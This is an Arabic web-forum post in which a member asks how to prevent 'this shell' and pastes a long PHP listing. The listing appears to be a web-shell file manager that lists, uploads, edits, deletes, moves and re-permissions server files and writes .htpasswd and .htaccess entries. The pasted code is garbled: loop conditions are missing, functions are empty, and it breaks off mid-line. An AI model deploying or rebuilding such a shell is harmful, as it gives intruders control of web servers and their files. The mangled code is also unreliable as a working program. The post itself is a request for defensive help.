إنضمامك إلي منتديات استراحات زايد يحقق لك معرفة كل ماهو جديد في عالم الانترنت ...

انضم الينا
استراحات زايد الصفحة الرئيسية


إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1  
قديم 09-08-2013, 06:21 AM
عضو ماسي
بيانات محروم.كوم
 رقم العضوية : 503
 تاريخ التسجيل : Dec 2007
الجنس : female
علم الدوله :
 المشاركات : 2,100,613
عدد الـنقاط :3341
 تقييم المستوى : 2139

<div><div align="center">السلام عليكم

ممكن طريقة منع عمل الشل ده ياجماعه ضروري :crazy:

<div style="margin:20px; margin-top:5px"> رمز PHP:
<div class="alt2"> <div dir="ltr" style="text-align:left;"> <span style="color: #000000">$filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);
if (
$file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!
$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if (
$file['is_link']) $file['target'] = @readlink($path);
if (
function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (
function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
$files[] = $file;
}
}
return
$files;
} else {
return
false;
}
}
function
sortlist (&$list, $key, $reverse) {
quicksort($list, 0, sizeof($list) - 1, $key);
if (
$reverse) $list = array_reverse($list);
}
function
quicksort (&$array, $first, $last, $key) {
if (
$first 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);
foreach (
$mimes as $regex => $mime) {
if (
eregi($regex, $filename)) return $mime;
}
return
'text/plain';
}
function
del ($file) {
global
$delim;
if (!@
is_link($file) && !file_exists($file)) return false;
if (!@
is_link($file) && @is_dir($file)) {
if (
$dir = @opendir($file)) {
$error = false;
while ((
$f = readdir($dir)) !== false) {
if (
$f != '.' && $f != '..' && !del($file . $delim . $f)) {
$error = true;
}
}
closedir($dir);
if (!
$error) return @rmdir($file);
return !
$error;
} else {
return
false;
}
} else {
return @
unlink($file);
}
}
function
addslash ($directory) {
global
$delim;
if (
substr($directory, -1, 1) != $delim) {
return
$directory . $delim;
} else {
return
$directory;
}
}
function
relative2absolute ($string, $directory) {
if (
path_is_relative($string)) {
return
simplify_path(addslash($directory) . $string);
} else {
return
simplify_path($string);
}
}
function
path_is_relative ($path) {
global
$win;
if (
$win) {
return (
substr($path, 1, 1) != ':');
} else {
return (
substr($path, 0, 1) != '/');
}
}
function
absolute2relative ($directory, $target) {
global
$delim;
$path = '';
while (
$directory != $target) {
if (
$directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if (
$path == '') $path = '.';
return
$path;
}
function
simplify_path ($path) {
global
$delim;
if (@
file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@
is_dir($path)) {
return
addslash($path);
} else {
return
$path;
}
}
$pattern = $delim . '.' . $delim;
if (@
is_dir($path)) {
$path = addslash($path);
}
while (
strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
while (
ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return
$path;
}
function
human_filesize ($filesize) {
$suffices = 'kMGTPE';
$n = 0;
while (
$filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (
strpos($filesize, '.') !== false) {

while (
in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
return
$filesize . " {$suffix}B";
}
function
strip (&$str) {
$str = stripslashes($str);
}
function
listing_page ($message = null) {
global
$self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (
array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (
array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
sortlist($list, $sort, $reverse);
echo
'


'
;
directory_choice();
if (!empty(
$message)) {
spacer();
echo
$message;
}
if (@
is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if (
$list) {
listing($list);
} else {
echo
error('not_readable', $directory);
}
echo
'

'
;
html_footer();
}
function
listing ($list) {
global
$directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo
'

'
;
$d = 'tool=Files&dir=' . urlencode($directory) . '&';
if (!
$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('filename') . "\n";
if (!
$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('size') . "\n";
if (!
$win) {
if (!
$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('permission') . "\n";
if (!
$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('owner') . "\n";
if (!
$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('group') . "\n";
}
echo
' ' . word('functions') . '

'
;
for (
$i = 0; $i = 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo
"\t{$file['size']} B\n";

if (!
$win) {
echo
"\t 0) {
echo
'
'
. str_repeat(' ', 30) . '
'
;
foreach (
$actions as $action) {
echo
"\t\t" . word($action) . "\n";
}
echo
'

'
;
}
echo
'

'
;
}
echo
'





'
;
$actions = array();
if (@
is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo
'
'
. str_repeat(' ', 30) . '
'
;
foreach (
$actions as $action) {
echo
"\t\t" . word($action) . "\n";
}
echo
'



'
;
}
function
directory_choice () {
global
$directory, $homedir, $cols, $self;
echo
'

'
. word('directory') . ':




'
;
}
function
upload_box () {
global
$cols;
echo
'

'
. word('file') . ':




'
;
}
function
create_box () {
global
$cols;
echo
'


'
. word('file') . '
'
. word('directory') . '





'
;
}
function
edit ($file) {
global
$self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo
'' . html($file) . '</h2>




'
;
if (
array_key_exists('content', $_POST)) {
echo
$_POST['content'];
} else {
$f = fopen($file, 'r');
while (!
feof($f)) {
echo
html(fread($f, 8192));
}
fclose($f);
}
if (!empty(
$_POST['user'])) {
echo
"\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty(
$_POST['basic_auth'])) {
if (
$win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo
"\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
echo
'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
echo
'Require valid-user';
}
echo
'

'
;
if (
$apache && basename($file) == $htpasswd) {
echo
'
'
. word('user') . ':
'
. word('password') . ':


'
;
}
if (
$apache && basename($file) == $htaccess) {
echo
'


'
;
}
echo
'








[ '
. word('back') . ' ]



'
;
html_footer();
}
function
spacer () {
global
$cols;
echo
'


'
;
}
function
textfieldsize ($content) {
$size = strlen($content) + 5;
if (
$size $value) {
echo
"\t\n";
}
}
function
html ($string) {
global
$charset;
return
htmlentities($string, ENT_COMPAT, $charset);
}
function
word ($word) {
global
$words, $word_charset;
return
htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function
phrase ($phrase, $arguments) {
global
$words;
static
$search;
if (!
is_array($search)) for ($i = 1; $i '', '[' => '', ']' => '');
return
str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function
getwords ($lang) {
global
$word_charset, $date_format;
switch (
$lang) {
case
'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',
'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',
'read' => 'read',
'write' => 'write',
'execute' => 'execute',
'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',
'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
);
}
}
function
getimage ($image) {

}
function
html_header () {


}
function
html_footer () {
echo =
2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
$cols = ($win) ? 4 : 7;
if (!isset(
$dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset(
$filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}
if (!empty(
$_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty(
$_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty(
$_SERVER['SERVER_SOFTWARE'])) {
if (
strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch (
$action) {
case
'view':
if (
is_script($file)) {
ob_start();
highlight_file($file);
$src = ereg_replace(<span style="color: #DD0000">'
__DEFINE_LIKE_SHARE__
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[مشكلة] : مشكلة السيرفر متعذر محروم.كوم منتدى أخبار المواقع والمنتديات العربية والأجنبية 0 09-03-2013 04:20 AM
[مشكلة] : مشكلة بعد تحديث السيرفر , البحث باللغة العربيه يطلع خطاء محروم.كوم منتدى أخبار المواقع والمنتديات العربية والأجنبية 0 08-16-2013 06:50 AM
[مشكلة] : مشكلة في السيرفر الشخصي appserv-win32-2.5.10 ظهور "iis7" محروم.كوم منتدى أخبار المواقع والمنتديات العربية والأجنبية 0 12-25-2011 09:30 PM
[مشكلة] : مشكلة بعد تغير ip السيرفر محروم.كوم منتدى أخبار المواقع والمنتديات العربية والأجنبية 0 12-11-2011 04:51 AM
[مشكلة] : مساعدة في حل مشكلة في زيادة استهلاك موارد السيرفر مع الوردبريس محروم.كوم منتدى أخبار المواقع والمنتديات العربية والأجنبية 0 10-29-2011 05:00 PM


الساعة الآن 06:49 PM


Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.5.2 TranZ By Almuhajir

RSS RSS 2.0 XML MAP HTML